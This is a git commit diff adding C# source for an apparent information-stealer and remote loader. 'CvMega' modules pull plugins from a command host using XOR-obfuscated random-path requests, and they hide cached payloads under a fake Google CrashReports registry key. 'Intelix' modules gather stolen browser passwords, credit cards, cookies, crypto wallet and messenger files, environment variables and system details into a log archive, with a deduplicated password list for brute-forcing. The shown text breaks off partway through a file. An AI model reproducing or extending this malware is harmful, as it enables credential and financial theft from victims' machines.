initial commit
This commit is contained in:
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,92 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Net.Http;
|
||||
using System.Text;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
internal class Client
|
||||
{
|
||||
public static string currentHost = string.Empty;
|
||||
|
||||
public static byte[] GetPlugin(string name)
|
||||
{
|
||||
if (name == "Client")
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (RegeditKey.CheckValue("ao" + name))
|
||||
{
|
||||
return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66);
|
||||
}
|
||||
byte[] array = SendGet(new Dictionary<string, string>
|
||||
{
|
||||
{ "command", "plugin" },
|
||||
{ "name", name }
|
||||
});
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66)));
|
||||
return array;
|
||||
}
|
||||
|
||||
public static byte[] GetResource(string name)
|
||||
{
|
||||
if (name == "Client")
|
||||
{
|
||||
return null;
|
||||
}
|
||||
if (RegeditKey.CheckValue("oa" + name))
|
||||
{
|
||||
return SimpleEncryptor.XorEncryptMyKey(Convert.FromBase64String(RegeditKey.GetValue("ao" + name)), 66);
|
||||
}
|
||||
byte[] array = SendGet(new Dictionary<string, string>
|
||||
{
|
||||
{ "command", "resource" },
|
||||
{ "name", name }
|
||||
});
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
RegeditKey.SetValue("ao" + name, Convert.ToBase64String(SimpleEncryptor.XorEncryptMyKey(array, 66)));
|
||||
return array;
|
||||
}
|
||||
|
||||
public static string SendGetRequest(Dictionary<string, string> parameters)
|
||||
{
|
||||
byte[] array = SendGet(parameters);
|
||||
if (array == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return SimpleEncryptor.Decrypt(Encoding.UTF8.GetString(array));
|
||||
}
|
||||
|
||||
public static byte[] SendGet(Dictionary<string, string> parameters)
|
||||
{
|
||||
try
|
||||
{
|
||||
using HttpClient httpClient = new HttpClient();
|
||||
StringBuilder stringBuilder = new StringBuilder(currentHost + RandomPathGenerator.GenerateCompletelyRandomPath());
|
||||
if (parameters.Count > 0)
|
||||
{
|
||||
stringBuilder.Append("?");
|
||||
foreach (KeyValuePair<string, string> parameter in parameters)
|
||||
{
|
||||
stringBuilder.Append(SimpleEncryptor.Hash(parameter.Key) + "=" + SimpleEncryptor.Encrypt(parameter.Value) + "&");
|
||||
}
|
||||
stringBuilder.Length--;
|
||||
}
|
||||
string requestUri = stringBuilder.ToString();
|
||||
httpClient.DefaultRequestHeaders.Add("User-Agent", "cvmega");
|
||||
return httpClient.GetAsync(requestUri).Result.Content.ReadAsByteArrayAsync().Result;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return null;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
using System.Threading;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
public static class MutexControl
|
||||
{
|
||||
public static Mutex currentApp;
|
||||
|
||||
public static bool createdNew;
|
||||
|
||||
public static bool CreateMutex(string mtx)
|
||||
{
|
||||
currentApp = new Mutex(initiallyOwned: false, mtx, out createdNew);
|
||||
return createdNew;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,40 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
internal class RandomPathGenerator
|
||||
{
|
||||
private static readonly Random random = new Random();
|
||||
|
||||
private static readonly string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
|
||||
private static readonly string[] extensions = new string[7] { "", ".txt", ".png", ".jpg", ".html", ".json", "" };
|
||||
|
||||
public static string GenerateCompletelyRandomPath()
|
||||
{
|
||||
int num = random.Next(1, 11);
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
for (int i = 0; i < num; i++)
|
||||
{
|
||||
int length = random.Next(3, 20);
|
||||
stringBuilder.Append('/');
|
||||
stringBuilder.Append(GenerateRandomString(length));
|
||||
}
|
||||
if (random.Next(2) == 1)
|
||||
{
|
||||
stringBuilder.Append(extensions[random.Next(extensions.Length)]);
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
|
||||
private static string GenerateRandomString(int length)
|
||||
{
|
||||
StringBuilder stringBuilder = new StringBuilder(length);
|
||||
for (int i = 0; i < length; i++)
|
||||
{
|
||||
stringBuilder.Append(chars[random.Next(chars.Length)]);
|
||||
}
|
||||
return stringBuilder.ToString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
internal class RegeditKey
|
||||
{
|
||||
public static string Regkey = "SOFTWARE\\Google\\CrashReports";
|
||||
|
||||
public static bool CheckValue(string name)
|
||||
{
|
||||
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64))
|
||||
{
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false);
|
||||
if (registryKey2.GetValue(name) != null)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
public static void SetValue(string name, string value)
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: true);
|
||||
if (CheckValue(name))
|
||||
{
|
||||
registryKey2.DeleteValue(name);
|
||||
}
|
||||
registryKey2.SetValue(name, value);
|
||||
}
|
||||
|
||||
public static string GetValue(string name)
|
||||
{
|
||||
if (!CheckValue(name))
|
||||
{
|
||||
return null;
|
||||
}
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false);
|
||||
return (string)registryKey2.GetValue(name);
|
||||
}
|
||||
|
||||
public static string[] GetValues()
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: false);
|
||||
return registryKey2.GetValueNames();
|
||||
}
|
||||
|
||||
public static void DeleteValue(string name)
|
||||
{
|
||||
using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64);
|
||||
using RegistryKey registryKey2 = registryKey.CreateSubKey(Regkey, writable: true);
|
||||
if (CheckValue(name))
|
||||
{
|
||||
registryKey2.DeleteValue(name);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Web;
|
||||
|
||||
namespace CvMega.Helper;
|
||||
|
||||
public class SimpleEncryptor
|
||||
{
|
||||
public static readonly string secretKey = "cvls0";
|
||||
|
||||
public static string Encrypt(string data)
|
||||
{
|
||||
return HttpUtility.UrlEncode(Convert.ToBase64String(XorEncrypt(Encoding.UTF8.GetBytes(data))));
|
||||
}
|
||||
|
||||
public static string EncryptNonEnc(string data)
|
||||
{
|
||||
return Convert.ToBase64String(XorEncrypt(Encoding.UTF8.GetBytes(data)));
|
||||
}
|
||||
|
||||
public static string Decrypt(string data)
|
||||
{
|
||||
return Encoding.UTF8.GetString(XorEncrypt(Convert.FromBase64String(data)));
|
||||
}
|
||||
|
||||
public static string Hash(string data)
|
||||
{
|
||||
using MD5 mD = MD5.Create();
|
||||
byte[] array = mD.ComputeHash(Encoding.UTF8.GetBytes(data));
|
||||
StringBuilder stringBuilder = new StringBuilder();
|
||||
byte[] array2 = array;
|
||||
foreach (byte b in array2)
|
||||
{
|
||||
stringBuilder.Append(b.ToString("x2"));
|
||||
}
|
||||
return HttpUtility.UrlEncode(stringBuilder.ToString().Substring(0, 10));
|
||||
}
|
||||
|
||||
public static byte[] XorEncryptMyKey(byte[] data, byte key)
|
||||
{
|
||||
byte[] array = new byte[data.Length];
|
||||
for (int i = 0; i < data.Length; i++)
|
||||
{
|
||||
array[i] = (byte)(data[i] ^ key);
|
||||
}
|
||||
return array;
|
||||
}
|
||||
|
||||
public static byte[] XorEncrypt(byte[] dataBytes)
|
||||
{
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(secretKey);
|
||||
for (int i = 0; i < dataBytes.Length; i++)
|
||||
{
|
||||
dataBytes[i] ^= bytes[i % bytes.Length];
|
||||
}
|
||||
return dataBytes;
|
||||
}
|
||||
}
|
||||
Vendored
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,29 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public class ArchiveStructure
|
||||
{
|
||||
private readonly string _rootFolderName;
|
||||
|
||||
public string RootFolderName => _rootFolderName;
|
||||
|
||||
public ArchiveStructure(string countryCode, string ipAddress, string hwid)
|
||||
{
|
||||
DateTime now = DateTime.Now;
|
||||
string date = now.ToString("yyyy-M-d");
|
||||
string time = now.ToString("H_m_s");
|
||||
_rootFolderName = $"{countryCode}_{ipAddress}_{date} {time}_{hwid}";
|
||||
}
|
||||
|
||||
public string GetPath(string relativePath)
|
||||
{
|
||||
if (string.IsNullOrEmpty(relativePath))
|
||||
{
|
||||
return _rootFolderName;
|
||||
}
|
||||
return $"{_rootFolderName}/{relativePath}";
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,382 @@
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public class ConsolidatedFilesGenerator
|
||||
{
|
||||
public static void GenerateConsolidatedFiles(InMemoryZip zip, Counter counter, string publicIp, string countryCode, string hwid)
|
||||
{
|
||||
GeneratePasswordsFile(zip);
|
||||
GenerateCreditCardsFile(zip);
|
||||
GenerateUserInformationFile(zip, publicIp, countryCode, hwid);
|
||||
GenerateEnvironmentFile(zip);
|
||||
GenerateBruteFile(zip);
|
||||
GenerateDomainDetectsFile(zip);
|
||||
GenerateInstalledSoftwareFile(zip);
|
||||
}
|
||||
|
||||
private static void GeneratePasswordsFile(InMemoryZip zip)
|
||||
{
|
||||
List<string> allPasswords = new List<string>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
|
||||
|
||||
string fileName = Path.GetFileName(entry.Key);
|
||||
bool hasData = false;
|
||||
|
||||
for (int i = 0; i < lines.Length; i++)
|
||||
{
|
||||
string line = lines[i];
|
||||
if (line.StartsWith("URL:") || line.StartsWith("Hostname:"))
|
||||
{
|
||||
allPasswords.Add(line);
|
||||
hasData = true;
|
||||
}
|
||||
else if (line.StartsWith("Username:") || line.StartsWith("Password:"))
|
||||
{
|
||||
allPasswords.Add(line);
|
||||
}
|
||||
else if (string.IsNullOrWhiteSpace(line) && hasData && i < lines.Length - 1 && !string.IsNullOrWhiteSpace(lines[i + 1]))
|
||||
{
|
||||
allPasswords.Add("Application: Browser/Logins/" + fileName);
|
||||
allPasswords.Add("===============");
|
||||
hasData = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (hasData)
|
||||
{
|
||||
allPasswords.Add("Application: Browser/Logins/" + fileName);
|
||||
allPasswords.Add("===============");
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (allPasswords.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("Passwords.txt", string.Join("\n", allPasswords));
|
||||
}
|
||||
}
|
||||
|
||||
private static void GenerateCreditCardsFile(InMemoryZip zip)
|
||||
{
|
||||
ConcurrentBag<string> allCreditCards = new ConcurrentBag<string>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if ((entry.Key.Contains("Browser/Credits/") || entry.Key.Contains("CreditCards/")) && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
if (!string.IsNullOrWhiteSpace(content))
|
||||
{
|
||||
allCreditCards.Add(content);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (allCreditCards.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("CreditCards.txt", string.Join("\n\n", allCreditCards));
|
||||
}
|
||||
}
|
||||
|
||||
private static void GenerateUserInformationFile(InMemoryZip zip, string publicIp, string countryCode, string hwid)
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
DateTime now = DateTime.Now;
|
||||
|
||||
sb.AppendLine($"Log date: {now:dd MMM yy HH:mm} MSK");
|
||||
sb.AppendLine("Traffic: src");
|
||||
sb.AppendLine($"HWID: {hwid}");
|
||||
sb.AppendLine($"Country: {countryCode}");
|
||||
sb.AppendLine($"IP: {publicIp}");
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Information.txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.None);
|
||||
|
||||
foreach (string line in lines)
|
||||
{
|
||||
if (line.Contains("System Language:") || line.Contains("Processor:") ||
|
||||
line.Contains("Installed RAM:") || line.Contains("OS Product:") ||
|
||||
line.Contains("OS Build:") || line.Contains("OS Arch:") ||
|
||||
line.Contains("CPU Name:") || line.Contains("Logical Cores:") ||
|
||||
line.Contains("RAM Total:") || line.Contains("RAM Available:") ||
|
||||
line.Contains("GPU:") || line.Contains("Computer Name:") ||
|
||||
line.Contains("Domain Name:") || line.Contains("MachineID:") ||
|
||||
line.Contains("Product Key:") || line.Contains("User:") ||
|
||||
line.Contains("Machine:") || line.Contains("Now:") ||
|
||||
line.Contains("Input ISO:") || line.Contains("Hwid:") ||
|
||||
line.Contains("Clipboard:") || line.Contains("External IP:") ||
|
||||
line.Contains("Internal IP:") || line.Contains("Default Gateway:") ||
|
||||
line.Contains("User Domain:") || line.Contains("CLR Version:"))
|
||||
{
|
||||
string processedLine = line;
|
||||
if (line.Contains("OS Product:"))
|
||||
{
|
||||
processedLine = "Operation System: " + line.Substring(line.IndexOf("OS Product:") + 11).Trim();
|
||||
}
|
||||
else if (line.Contains("OS Build:"))
|
||||
{
|
||||
processedLine = "Operation System: " + processedLine;
|
||||
}
|
||||
else if (line.Contains("CPU Name:"))
|
||||
{
|
||||
processedLine = "Processor: " + line.Substring(line.IndexOf("CPU Name:") + 9).Trim();
|
||||
}
|
||||
else if (line.Contains("Installed RAM:"))
|
||||
{
|
||||
processedLine = line.Replace("RAM Total (MB):", "Installed RAM:");
|
||||
}
|
||||
else if (line.Contains("User:"))
|
||||
{
|
||||
processedLine = "User Name: " + line.Substring(line.IndexOf("User:") + 5).Trim();
|
||||
}
|
||||
else if (line.Contains("Machine:"))
|
||||
{
|
||||
processedLine = "Computer Name: " + line.Substring(line.IndexOf("Machine:") + 8).Trim();
|
||||
}
|
||||
else if (line.Contains("External IP:"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
sb.AppendLine(processedLine);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sb.AppendLine("-------------");
|
||||
|
||||
zip.AddTextFile("UserInformation.txt", sb.ToString());
|
||||
}
|
||||
|
||||
private static void GenerateEnvironmentFile(InMemoryZip zip)
|
||||
{
|
||||
StringBuilder sb = new StringBuilder();
|
||||
|
||||
foreach (DictionaryEntry entry in Environment.GetEnvironmentVariables())
|
||||
{
|
||||
sb.AppendLine($"{entry.Key}={entry.Value}");
|
||||
}
|
||||
|
||||
zip.AddTextFile("Environment.txt", sb.ToString());
|
||||
}
|
||||
|
||||
private static void GenerateBruteFile(InMemoryZip zip)
|
||||
{
|
||||
ConcurrentBag<string> passwords = new ConcurrentBag<string>();
|
||||
HashSet<string> uniquePasswords = new HashSet<string>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
MatchCollection matches = Regex.Matches(content, @"Password:\s*(.+)", RegexOptions.Multiline);
|
||||
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
string password = match.Groups[1].Value.Trim();
|
||||
if (!string.IsNullOrEmpty(password) && uniquePasswords.Add(password))
|
||||
{
|
||||
passwords.Add(password);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (passwords.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("Brute.txt", string.Join("\n", passwords));
|
||||
}
|
||||
}
|
||||
|
||||
private static void GenerateDomainDetectsFile(InMemoryZip zip)
|
||||
{
|
||||
Dictionary<string, int> loginDomains = new Dictionary<string, int>();
|
||||
Dictionary<string, int> cookieDomains = new Dictionary<string, int>();
|
||||
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("Browser/Logins/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
MatchCollection matches = Regex.Matches(content, @"(?:URL:|Hostname:)\s*(?:https?://)?(?:www\.)?([^/\s]+)", RegexOptions.IgnoreCase);
|
||||
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
string domain = match.Groups[1].Value.Trim().ToLower();
|
||||
if (!string.IsNullOrEmpty(domain))
|
||||
{
|
||||
if (!loginDomains.ContainsKey(domain))
|
||||
{
|
||||
loginDomains[domain] = 0;
|
||||
}
|
||||
loginDomains[domain]++;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
else if (entry.Key.Contains("Browser/Cookies/") && entry.Key.EndsWith(".txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
MatchCollection matches = Regex.Matches(content, @"(?:\.)?([a-zA-Z0-9][a-zA-Z0-9-]{1,61}[a-zA-Z0-9]?\.[a-zA-Z]{2,})", RegexOptions.IgnoreCase);
|
||||
|
||||
foreach (Match match in matches)
|
||||
{
|
||||
string domain = match.Groups[1].Value.Trim().ToLower();
|
||||
if (!string.IsNullOrEmpty(domain))
|
||||
{
|
||||
if (!cookieDomains.ContainsKey(domain))
|
||||
{
|
||||
cookieDomains[domain] = 0;
|
||||
}
|
||||
cookieDomains[domain]++;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
StringBuilder sb = new StringBuilder();
|
||||
if (loginDomains.Count > 0)
|
||||
{
|
||||
sb.AppendLine("LoginData:");
|
||||
int index = 1;
|
||||
foreach (var domain in loginDomains.OrderByDescending(d => d.Value))
|
||||
{
|
||||
sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
if (cookieDomains.Count > 0)
|
||||
{
|
||||
sb.AppendLine("Cookies:");
|
||||
int index = 1;
|
||||
foreach (var domain in cookieDomains.OrderByDescending(d => d.Value))
|
||||
{
|
||||
sb.AppendLine($"{index}) [{GetDomainName(domain.Key)}] {domain.Key}({domain.Value})");
|
||||
index++;
|
||||
}
|
||||
}
|
||||
|
||||
if (sb.Length > 0)
|
||||
{
|
||||
zip.AddTextFile("DomainDetects.txt", sb.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetDomainName(string domain)
|
||||
{
|
||||
string[] parts = domain.Split('.');
|
||||
if (parts.Length >= 2)
|
||||
{
|
||||
return parts[parts.Length - 2];
|
||||
}
|
||||
return domain;
|
||||
}
|
||||
|
||||
private static void GenerateInstalledSoftwareFile(InMemoryZip zip)
|
||||
{
|
||||
foreach (var entry in zip.GetAllEntries())
|
||||
{
|
||||
if (entry.Key.Contains("InstalledSoftware.txt"))
|
||||
{
|
||||
try
|
||||
{
|
||||
string content = Encoding.UTF8.GetString(entry.Value);
|
||||
string[] lines = content.Split(new[] { "\n", "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
|
||||
|
||||
List<string> formattedLines = new List<string>();
|
||||
int index = 1;
|
||||
|
||||
foreach (string line in lines)
|
||||
{
|
||||
if (line.Contains(" | ") && !line.StartsWith("Name") && !line.Contains("---"))
|
||||
{
|
||||
string[] parts = line.Split(new[] { " | " }, StringSplitOptions.None);
|
||||
if (parts.Length >= 3)
|
||||
{
|
||||
string name = parts[0].Trim();
|
||||
string path = parts[1].Trim();
|
||||
string version = parts[2].Trim();
|
||||
|
||||
string publisher = "Unknown";
|
||||
if (parts.Length > 3)
|
||||
{
|
||||
publisher = parts[3].Trim();
|
||||
}
|
||||
|
||||
formattedLines.Add($"{index}) {name} [{version}] - {publisher}");
|
||||
index++;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (formattedLines.Count > 0)
|
||||
{
|
||||
zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", formattedLines));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,194 @@
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Helper.Data;
|
||||
|
||||
public class Counter
|
||||
{
|
||||
public class CounterBrowser
|
||||
{
|
||||
public string Profile;
|
||||
|
||||
public string BrowserName;
|
||||
|
||||
public ConcurrentLong Cookies;
|
||||
|
||||
public ConcurrentLong Password;
|
||||
|
||||
public ConcurrentLong CreditCards;
|
||||
|
||||
public ConcurrentLong AutoFill;
|
||||
|
||||
public ConcurrentLong RestoreToken;
|
||||
|
||||
public ConcurrentLong MaskCreditCard;
|
||||
|
||||
public ConcurrentLong MaskedIban;
|
||||
}
|
||||
|
||||
public class CounterApplications
|
||||
{
|
||||
public string Name;
|
||||
|
||||
public ConcurrentBag<string> Files = new ConcurrentBag<string>();
|
||||
}
|
||||
|
||||
public ConcurrentBag<string> FilesGrabber = new ConcurrentBag<string>();
|
||||
|
||||
public ConcurrentBag<string> CryptoDesktop = new ConcurrentBag<string>();
|
||||
|
||||
public ConcurrentBag<string> CryptoChromium = new ConcurrentBag<string>();
|
||||
|
||||
public ConcurrentBag<CounterBrowser> Browsers = new ConcurrentBag<CounterBrowser>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Applications = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Vpns = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Games = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public ConcurrentBag<CounterApplications> Messangers = new ConcurrentBag<CounterApplications>();
|
||||
|
||||
public void Collect(InMemoryZip zip)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
list.Add("\r\n \r\n __ __ _ \r\n \\ \\/ /___ _ __ (_)_ _ _ __ ___ \r\n \\ // _ \\| '__|| | | | | '_ ` _ \\ \r\n / \\ (_) | | | | |_| | | | | | |\r\n /_/\\_\\___/|_| |_|\\__,_|_| |_| |_|\r\n ");
|
||||
list.Add(" Developer @aesxor");
|
||||
list.Add("");
|
||||
List<string[]> masterKeys = LocalState.GetMasterKeys();
|
||||
if (masterKeys.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Keys] [--{0}--] [{1}]", masterKeys.Count(), string.Join(", ", masterKeys.Select((string[] k) => Paths.GetBrowserName(k[0])).Distinct())));
|
||||
foreach (string[] item in masterKeys)
|
||||
{
|
||||
list.Add(" [" + Paths.GetBrowserName(item[0]) + " " + item[1] + "] " + item[2]);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Browsers.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Browsers] [--{0}--] [{1}]", Browsers.Count(), string.Join(", ", Browsers.Select((CounterBrowser b) => b.BrowserName).ToArray())));
|
||||
foreach (CounterBrowser browser in Browsers)
|
||||
{
|
||||
list.Add(" - " + browser.Profile);
|
||||
if ((long)browser.Cookies != 0L)
|
||||
{
|
||||
list.Add($" [Cookies {(long)browser.Cookies}]");
|
||||
}
|
||||
if ((long)browser.Password != 0L)
|
||||
{
|
||||
list.Add($" [Passwords {(long)browser.Password}]");
|
||||
}
|
||||
if ((long)browser.CreditCards != 0L)
|
||||
{
|
||||
list.Add($" [CreditCards {(long)browser.CreditCards}]");
|
||||
}
|
||||
if ((long)browser.AutoFill != 0L)
|
||||
{
|
||||
list.Add($" [AutoFill {(long)browser.AutoFill}]");
|
||||
}
|
||||
if ((long)browser.RestoreToken != 0L)
|
||||
{
|
||||
list.Add($" [RestoreToken {(long)browser.RestoreToken}]");
|
||||
}
|
||||
if ((long)browser.MaskCreditCard != 0L)
|
||||
{
|
||||
list.Add($" [MaskCreditCard {(long)browser.MaskCreditCard}]");
|
||||
}
|
||||
if ((long)browser.MaskedIban != 0L)
|
||||
{
|
||||
list.Add($" [MaskedIban {(long)browser.MaskedIban}]");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Applications.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Applications] [--{0}--] [{1}]", Applications.Count(), string.Join(", ", Applications.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications application in Applications)
|
||||
{
|
||||
list.Add(" [Name " + application.Name + "]");
|
||||
foreach (string item2 in application.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item2);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Games.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Games] [--{0}--] [{1}]", Games.Count(), string.Join(", ", Games.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications game in Games)
|
||||
{
|
||||
list.Add(" [Name " + game.Name + "]");
|
||||
foreach (string item3 in game.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item3);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Messangers.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Messangers] [--{0}--] [{1}]", Messangers.Count(), string.Join(", ", Messangers.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications messanger in Messangers)
|
||||
{
|
||||
list.Add(" [Name " + messanger.Name + "]");
|
||||
foreach (string item4 in messanger.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item4);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (Vpns.Count() > 0)
|
||||
{
|
||||
list.Add(string.Format("[Vpns] [--{0}--] [{1}]", Vpns.Count(), string.Join(", ", Vpns.Select((CounterApplications b) => b.Name).ToArray())));
|
||||
foreach (CounterApplications vpn in Vpns)
|
||||
{
|
||||
list.Add(" [Name " + vpn.Name + "]");
|
||||
foreach (string item5 in vpn.Files.Reverse())
|
||||
{
|
||||
list.Add(" - " + item5);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (CryptoChromium.Count() > 0)
|
||||
{
|
||||
list.Add($"[CryptoChromium] [--{CryptoChromium.Count()}--]");
|
||||
foreach (string item6 in CryptoChromium)
|
||||
{
|
||||
list.Add(" - " + item6);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (CryptoDesktop.Count() > 0)
|
||||
{
|
||||
list.Add($"[CryptoDesktop] [--{CryptoDesktop.Count()}--]");
|
||||
foreach (string item7 in CryptoDesktop)
|
||||
{
|
||||
list.Add(" - " + item7);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
if (FilesGrabber.Count() > 0)
|
||||
{
|
||||
list.Add($"[FilesGrabber] [--{FilesGrabber.Count()}--]");
|
||||
foreach (string item8 in FilesGrabber)
|
||||
{
|
||||
list.Add(" - " + item8);
|
||||
}
|
||||
list.Add("");
|
||||
}
|
||||
zip.AddTextFile("IntelIX.txt", string.Join("\n", list));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,156 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
